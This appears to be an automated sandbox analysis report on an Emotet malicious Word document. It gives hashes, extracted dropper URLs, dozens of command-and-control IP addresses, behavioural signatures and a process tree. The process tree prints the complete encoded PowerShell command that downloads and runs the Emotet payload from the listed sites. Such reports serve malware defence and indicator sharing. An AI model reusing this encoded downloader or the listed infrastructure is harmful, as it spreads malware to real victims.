Analysis
- max time kernel
146s - max time network
150s - platform
windows10_x64 - resource
win10v200722 - submitted
14/08/2020, 18:52
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_4a01c8e6ec280343403441c5e17c55359032885ef2cfae8ad4fc165f3911bac3_2020-08-14__185053._doc.doc
Resource
win7
General
- Target emotet_e3_4a01c8e6ec280343403441c5e17c55359032885ef2cfae8ad4fc165f3911bac3_2020-08-14__185053._doc.doc
- Size 230KB
- Sample200814-4mtmxnfwcj
- SHA256 4a01c8e6ec280343403441c5e17c55359032885ef2cfae8ad4fc165f3911bac3
- MD5 ea0c9591524b3606b7aa94e9ad3ebf51
- SHA1 2d78c45d949a4fdd8539d1cf8df0ed93407d3f90
- SHA512 692481453ad563e70eecfae1adc75e0feed71055d9d4f683463822b0a2be3a518188b92110e8ea1f94dad67ff63c38bdb5cd277a3b97fefadc6c8feb3f53b261
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
-
exe.dropper
http://arsan.com.br/img_b2w/jstgflap98/
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exe.dropper
http://koester-pb.de/cgi-bin/HoDIPqV/
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exe.dropper
http://aragonmetal.com/_installation/LPMGMZroO/
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exe.dropper
https://www.witdigi.com/wp-content/uploads/iBeE/
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exe.dropper
http://yellowstonefitness.com/j5es7cx/QgLkys4ga64g228/
Extracted
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emotet
-
71.57.180.213:80
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185.86.148.68:443
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168.235.82.183:8080
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181.113.229.139:443
-
181.134.9.162:80
-
217.199.160.224:8080
-
105.209.235.113:8080
-
216.75.37.196:8080
-
97.104.107.190:80
-
203.153.216.182:7080
-
107.161.30.122:8080
-
41.106.96.12:80
-
202.5.47.71:80
-
201.235.10.215:80
-
105.213.67.88:80
-
115.79.195.246:80
-
179.5.118.12:80
-
212.112.113.235:80
-
139.59.12.63:8080
-
177.37.81.212:443
-
81.17.93.134:80
-
46.32.229.152:8080
-
66.61.94.36:80
-
172.96.190.154:8080
-
176.9.93.82:7080
-
5.79.70.250:8080
-
190.212.140.6:80
-
37.46.129.215:8080
-
115.165.3.213:80
-
201.213.177.139:80
-
187.64.128.197:80
-
92.24.51.238:80
-
185.208.226.142:8080
-
50.116.78.109:8080
-
46.105.131.68:8080
-
181.114.114.203:80
-
190.190.15.20:80
-
198.57.203.63:8080
-
188.251.213.180:443
-
185.142.236.163:443
-
182.176.95.147:80
-
143.95.101.72:8080
-
181.164.110.7:80
-
113.161.148.81:80
-
51.38.201.19:7080
-
31.146.61.34:80
-
75.139.38.211:80
-
157.7.164.178:8081
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203.153.216.178:7080
-
212.156.133.218:80
-
81.214.253.80:443
-
87.106.231.60:8080
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190.164.75.175:80
-
77.74.78.80:443
-
179.62.238.49:80
-
78.189.60.109:443
-
177.32.8.85:80
-
195.201.56.70:8080
-
190.53.144.120:80
-
75.127.14.170:8080
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177.144.130.105:443
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178.33.167.120:8080
-
192.210.217.94:8080
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192.241.220.183:8080
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188.0.135.237:80
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74.208.173.91:8080
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182.187.139.200:8080
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172.105.78.244:8080
-
41.185.29.128:8080
-
197.83.232.19:80
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87.252.100.28:80
-
115.78.11.155:80
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192.163.221.191:8080
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91.83.93.103:443
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139.99.157.213:8080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2344 792 powersheLL.exe 66 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3800-15-0x00000000022E0000-0x00000000022EC000-memory.dmp emotet behavioral2/memory/3800-15-0x00000000022E0000-0x00000000022EC000-memory.dmp emotet behavioral2/memory/2136-18-0x0000000002260000-0x000000000226C000-memory.dmp emotet behavioral2/memory/2136-18-0x0000000002260000-0x000000000226C000-memory.dmp emotet - Blacklisted process makes network request 4 IoCs
flow pid Process 19 2344 powersheLL.exe 36 2344 powersheLL.exe 38 2344 powersheLL.exe 40 2344 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3800 Ccbp.exe 2136 kbd106n.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Magnification\kbd106n.exe Ccbp.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3908 WINWORD.EXE 3908 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2344 powersheLL.exe 2344 powersheLL.exe 2344 powersheLL.exe 2136 kbd106n.exe 2136 kbd106n.exe 2136 kbd106n.exe 2136 kbd106n.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2344 powersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3908 WINWORD.EXE 3800 Ccbp.exe 3800 Ccbp.exe 2136 kbd106n.exe 2136 kbd106n.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2344 wrote to memory of 3800 2344 powersheLL.exe 76 PID 2344 wrote to memory of 3800 2344 powersheLL.exe 76 PID 2344 wrote to memory of 3800 2344 powersheLL.exe 76 PID 3800 wrote to memory of 2136 3800 Ccbp.exe 77 PID 3800 wrote to memory of 2136 3800 Ccbp.exe 77 PID 3800 wrote to memory of 2136 3800 Ccbp.exe 77
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_4a01c8e6ec280343403441c5e17c55359032885ef2cfae8ad4fc165f3911bac3_2020-08-14__185053._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3908
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABQAGsAaAByADUAZABwAD0AJwBaAHAAawByAG0AawBxACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAEMAYABVAGAAUgBpAGAAVABZAFAAYABSAE8AVABPAGMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARQA2AF8AdQBkAHAAMAAgAD0AIAAnAEMAYwBiAHAAJwA7ACQAWQBxADEAbwBsAHQAcQA9ACcASwBvADIAZgAzAHoAZAAnADsAJABCADgAOQB0ADUAcwB2AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAnAFwAJwArACQARQA2AF8AdQBkAHAAMAArACcALgBlAHgAZQAnADsAJABOAHYAbQAwAHIAYgB0AD0AJwBGAGQAMAA3AG8AOABxACcAOwAkAFYAZgBnAHgAZQA3ADAAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQB0AC4AdwBFAGIAQwBMAGkARQBOAFQAOwAkAFgANwA1AHgAMQBvADAAPQAnAGgAdAB0AHAAOgAvAC8AYQByAHMAYQBuAC4AYwBvAG0ALgBiAHIALwBpAG0AZwBfAGIAMgB3AC8AagBzAHQAZwBmAGwAYQBwADkAOAAvACoAaAB0AHQAcAA6AC8ALwBrAG8AZQBzAHQAZQByAC0AcABiAC4AZABlAC8AYwBnAGkALQBiAGkAbgAvAEgAbwBEAEkAUABxAFYALwAqAGgAdAB0AHAAOgAvAC8AYQByAGEAZwBvAG4AbQBlAHQAYQBsAC4AYwBvAG0ALwBfAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuAC8ATABQAE0ARwBNAFoAcgBvAE8ALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHcAaQB0AGQAaQBnAGkALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AaQBCAGUARQAvACoAaAB0AHQAcAA6AC8ALwB5AGUAbABsAG8AdwBzAHQAbwBuAGUAZgBpAHQAbgBlAHMAcwAuAGMAbwBtAC8AagA1AGUAcwA3AGMAeAAvAFEAZwBMAGsAeQBzADQAZwBhADYANABnADIAMgA4AC8AJwAuACIAcwBwAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABWADIAZgBmAHUANABmAD0AJwBRAHUAcwB3AHkAZgAxACcAOwBmAG8AcgBlAGEAYwBoACgAJABPADIAMwB6AGMAMQBiACAAaQBuACAAJABYADcANQB4ADEAbwAwACkAewB0AHIAeQB7ACQAVgBmAGcAeABlADcAMAAuACIARABPAFcAYABOAGwAbwBgAEEARABGAEkATABFACIAKAAkAE8AMgAzAHoAYwAxAGIALAAgACQAQgA4ADkAdAA1AHMAdgApADsAJABFAHkAdgB0ADEAdwAzAD0AJwBYAGwAZwBpAHYAdQByACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAQgA4ADkAdAA1AHMAdgApAC4AIgBMAGAARQBOAGcAVABoACIAIAAtAGcAZQAgADIAOQA5ADkAMQApACAAewAmACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACgAJABCADgAOQB0ADUAcwB2ACkAOwAkAFMAbABiAHUAMABoADEAPQAnAEIAbQA4AHQAOQAyAGQAJwA7AGIAcgBlAGEAawA7ACQASAB6ADIAbAA5AG0AaQA9ACcARwBpAGkAeAA5ADEAYwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABBAHkAMAA1AHkAZABpAD0AJwBXAGQAeQBrADYAbgBhACcA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2344 -
C:\Users\Admin\AppData\Local\Temp\Ccbp.exe"C:\Users\Admin\AppData\Local\Temp\Ccbp.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3800 -
C:\Windows\SysWOW64\Magnification\kbd106n.exe"C:\Windows\SysWOW64\Magnification\kbd106n.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2136
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